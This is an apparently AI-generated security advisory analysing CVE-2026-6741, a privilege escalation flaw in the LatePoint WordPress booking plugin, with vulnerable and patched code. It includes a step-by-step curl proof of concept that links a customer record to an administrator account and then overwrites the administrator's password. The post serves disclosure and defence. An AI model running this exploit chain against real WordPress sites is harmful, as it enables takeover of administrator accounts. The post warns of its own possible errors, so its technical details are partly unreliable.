LatePoint Plugin CVE-2026-6741: Agent to Admin Privilege Escalation via Customer Linkage — Technical Breakdown with PoC and Patch Analysis

A brief summary of CVE-2026-6741, a privilege escalation vulnerability in the LatePoint WordPress booking plugin that allows authenticated agents to take over administrator accounts. Includes proof of concept details and patch analysis.

CVE Analysis

10 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-04-27

LatePoint Plugin CVE-2026-6741: Agent to Admin Privilege Escalation via Customer Linkage — Technical Breakdown with PoC and Patch Analysis
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A missing authorization check in the LatePoint WordPress booking plugin allows any user with the latepoint_agent role to link a customer record to an administrator's account and then reset the admin's password, achieving a clean privilege escalation to full site control. With over 100,000 active installations, this flaw (CVE-2026-6741, CVSS 8.8) represents a significant risk across the WordPress ecosystem.

LatePoint is a calendar booking and appointment scheduling plugin for WordPress, developed by LatePoint LLC. It targets service oriented businesses such as salons, photographers, and auto detailing shops, providing booking interfaces and customer management. The plugin's 100,000+ active installations, as reported by both the vendor and the WordPress plugin repository, give it a meaningful footprint in the WordPress plugin landscape.

Technical Information

Root Cause: Missing Role Verification in the Abilities API

The vulnerability lives in lib/abilities/customers/connect-customer-to-wp-user.php, specifically in the execute() method of the connect-customer-to-wp-user ability. This ability is registered via the WordPress Abilities API (introduced in WordPress 6.9+) and is designed to link a LatePoint customer record to a WordPress user account.

The vulnerable code in version 5.4.1 performs an existence check on the target WordPress user but never inspects what roles that user holds:

// v5.4.1 (VULNERABLE) public function execute( array $args ) { $customer = new OsCustomerModel( (int) $args['customer_id'] ); if ( $customer->is_new_record() ) { return new WP_Error( 'not_found', ... ); } $wp_user_id = (int) $args['wp_user_id']; if ( ! get_userdata( $wp_user_id ) ) { // Only checks: does the user exist? // MISSING: does the user have a non-privileged role? return new WP_Error( 'wp_user_not_found', ... ); } $customer->wordpress_user_id = $wp_user_id; // links customer to any WP user $customer->save(); return $this->serialize_customer( ... ); }

The critical omission is clear: get_userdata() confirms the user exists, but the code discards the returned user object and never examines its roles property. The method then directly assigns $wp_user_id to the customer record and saves it.

Why the Default Role Configuration Matters

Executing this ability requires only the customer__edit capability. As defined in lib/helpers/roles_helper.php, the latepoint_agent role is granted customer__edit by default. This means any authenticated user with the agent role, a role intended for staff members who manage bookings, possesses the exact permission needed to trigger the vulnerable method.

Attack Flow

The exploitation path is straightforward and requires no user interaction:

  1. Authenticate as an agent. The attacker needs a WordPress account with the latepoint_agent role. This could be a legitimate staff account or one obtained through other means.

  2. Identify the target. The attacker determines the WordPress user ID of an administrator. This is commonly 1 for the first admin account and is also discoverable via the WordPress REST API endpoint /wp-json/wp/v2/users.

  3. Link a customer record to the admin. The attacker calls the connect-customer-to-wp-user ability endpoint, supplying a customer_id they control and the administrator's wp_user_id. The ability executes successfully because the agent has customer__edit and the code never checks the target user's role.

  4. Reset the password. The attacker initiates LatePoint's customer password reset flow using the email address associated with the customer record they control. LatePoint sends a reset token to the attacker's email.

  5. Overwrite the admin password. The attacker completes the password reset. Internally, LatePoint's update_password() method calls wp_set_password() on the wordpress_user_id field of the customer record, which now points to the administrator. The admin's password is overwritten with the attacker's chosen value.

  6. Log in as administrator. The attacker authenticates with the new password and has full administrative access to the WordPress site.

Proof of Concept

A public proof of concept for CVE-2026-6741 is available, documented in a detailed blog post by Abu Hurayra and corroborated by the Wordfence advisory. The following reproduction steps are drawn from those sources.

Prerequisites:

  • WordPress 6.9+ with LatePoint plugin version 5.4.1 or earlier installed and activated.
  • An attacker account with the latepoint_agent WordPress role.
  • The WordPress Abilities API enabled (default in 5.4.1).
  • Knowledge of the target admin's WordPress user ID (commonly 1; also discoverable via /wp-json/wp/v2/users).

Step 1: Authenticate as agent and obtain a REST API nonce.

WP_URL="https://target.example.com" AGENT_USER="agent_user" AGENT_PASS="agent_password" curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \ -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \ -H "Cookie: wordpress_test_cookie=WP+Cookie+check" NONCE=$(curl -s -b cookies.txt "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce" 2>/dev/null) echo "Nonce: $NONCE"

Step 2: Identify a LatePoint customer record you control (create one via the booking form if needed). Note its customer_id.

CUSTOMER_ID=5

Step 3: Link the customer record to the administrator's WordPress user via the vulnerable ability endpoint.

ADMIN_WP_USER_ID=1 curl -s -b cookies.txt -X POST \ "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \ -H "Content-Type: application/json" \ -H "X-WP-Nonce: $NONCE" \ -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"

A successful response returns the customer record with "wp_user_id": 1.

Step 4: Trigger a password reset for the LatePoint customer using the attacker controlled email.

CUSTOMER_EMAIL="[email protected]" curl -s -X POST "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "password_reset_email=$CUSTOMER_EMAIL"

LatePoint sends a password reset email containing an account_nonse token to $CUSTOMER_EMAIL.

Step 5: Complete the password reset with a new password (using the token from the email).

RESET_TOKEN="<token_from_email>" NEW_PASSWORD="Attacker_Password123!" curl -s -X POST "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"

This calls $customer->update_password(), which internally runs wp_set_password($NEW_PASSWORD, 1), overwriting the administrator's WordPress password.

Step 6: Log in as the WordPress administrator.

curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST "$WP_URL/wp-login.php" \ -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \ -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

Verification:

curl -s "$WP_URL/wp-json/wp/v2/users/me" \ -H "X-WP-Nonce: $(curl -s -b admin_cookies.txt $WP_URL/wp-admin/admin-ajax.php?action=rest-nonce)" # Expected: "roles": ["administrator"]

Patch Information

The vulnerability was fixed in LatePoint version 5.4.2, released on April 24, 2026. The patch is a targeted code change inside lib/abilities/customers/connect-customer-to-wp-user.php.

The patched execute() method introduces a role based allowlist check before any linking occurs:

// v5.4.2 (PATCHED) $wp_user_id = (int) $args['wp_user_id']; $target_user = get_userdata( $wp_user_id ); if ( ! $target_user ) { return new WP_Error( 'wp_user_not_found', ... ); } // Only allow linking to non-privileged WP accounts using an allowlist of roles. $allowed_roles = [ LATEPOINT_WP_CUSTOMER_ROLE, 'subscriber', 'customer' ]; $user_roles = (array) $target_user->roles; if ( empty( $user_roles ) || ! empty( array_diff( $user_roles, $allowed_roles ) ) ) { return new WP_Error( 'privileged_user', __( 'Cannot link a customer to a privileged WordPress account.', 'latepoint' ), [ 'status' => 403 ] ); } $customer->wordpress_user_id = $wp_user_id; $customer->save();

The fix introduces three important defense layers:

  1. Storing the user object. The return value of get_userdata() is now captured in $target_user, making the user object available for role inspection rather than discarding it after the existence check.

  2. Defining a strict allowlist. An explicit array of allowed roles (LATEPOINT_WP_CUSTOMER_ROLE, subscriber, customer) is defined. These are non privileged roles appropriate for customer accounts. Any role not in this list, such as administrator, editor, or shop_manager, is treated as privileged.

  3. Performing an array_diff() check. The code computes array_diff($user_roles, $allowed_roles). If the target user holds any role outside the allowlist, or has no roles at all, the operation is blocked with a 403 Forbidden response and the descriptive error code privileged_user.

This is a textbook example of positive security modeling: instead of trying to blacklist dangerous roles (which is fragile because custom roles or plugins could introduce new privileged ones), the patch explicitly enumerates which roles are safe. Any role not named in the allowlist is denied by default. The approach ensures that even if a site adds custom high privilege roles, the ability will refuse to link to those accounts.

Additionally, version 5.4.2 disables the Abilities API by default behind a filter (latepoint_enable_abilities), adding a second layer of defense.

Affected Systems and Versions

Plugin VersionSecurity StatusRecommended Action
5.4.1 and all earlier versionsVulnerable to CVE-2026-6741Immediate upgrade required
5.4.2 (released April 24, 2026)PatchedSafe to use
5.5.0 (released April 27, 2026)PatchedOptimal target version

The vulnerability requires:

  • WordPress 6.9 or later (for the Abilities API)
  • LatePoint plugin version 5.4.1 or earlier, installed and activated
  • At least one account with the latepoint_agent role
  • The WordPress Abilities API enabled (default in affected versions)

Vendor Security History

LatePoint LLC has demonstrated an active maintenance cadence with a recent focus on security hardening. The plugin's changelog reveals multiple security updates throughout March and April 2026. Versions 5.3.1, 5.4.0, 5.4.1, and 5.4.2 all contain notes regarding addressed security bugs, with explicit credit given to Wordfence for reporting them. Earlier versions such as 5.2.10 and 5.2.11 also include notes about strengthening plugin security and hardening against potential vulnerabilities. This pattern suggests that while the plugin has had a series of security issues, the vendor is highly responsive to responsible disclosure and issues patches rapidly. The turnaround from disclosure to patch for CVE-2026-6741 was swift, with version 5.4.2 released promptly.

References

Detect & fix
what others miss

Security magnifying glass visualization